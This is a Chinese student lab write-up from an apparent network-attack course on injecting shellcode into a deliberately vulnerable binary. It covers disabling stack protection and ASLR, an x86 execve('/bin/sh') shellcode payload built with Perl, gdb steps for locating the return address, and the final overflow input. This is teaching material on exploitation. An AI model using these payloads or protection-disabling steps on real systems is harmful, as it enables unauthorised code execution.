20155305《网络对抗》PC平台逆向破解(二)

20155305《网络对抗》PC平台逆向破解(二)

shellcode注入

1、shellcode

shellcode是一段代码,溢出后,执行这段代码能开启系统shell。

2、构造方法

(1)nop+shellcode+retaddr(适用于缓冲区大的情况)

(2)retaddr+nop+shellcode(适用于缓冲区小的情况)
3、准备工作(安装execstack并修改设置)

  • 安装execstackapt-get install execstack
  • 设置堆栈可执行execstack -s pwn20155305
  • 查询文件的堆栈是否可执行execstack -q pwn20155305
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
  • 查询地址随机化状态(2表示开启,0表示关闭),若是开启状态,则关闭地址随机化more /proc/sys/kernel/randomize_va_space

4、运行并gdb调试

  • 输入shellcode内容perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode运行pwn20155305,输入命令(cat input_shellcode;cat) | ./pwn20155305

  • 查询进程输入命令ps -ef | grep pwn20155305

  • 启动gdb调试这个进程

  • 通过设置断点disassemble foo,来查看注入buf的内存地址并且 break *0x080484ae,在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。gdb中输入c,之后输入info r esp

  • (gdb) x/16x 0xffffd43c 看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd460

  • 知道shellcode地址,所以修改为perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

posted @ 2018-03-13 23:35  qiaolei  阅读(152)  评论(0编辑  收藏  举报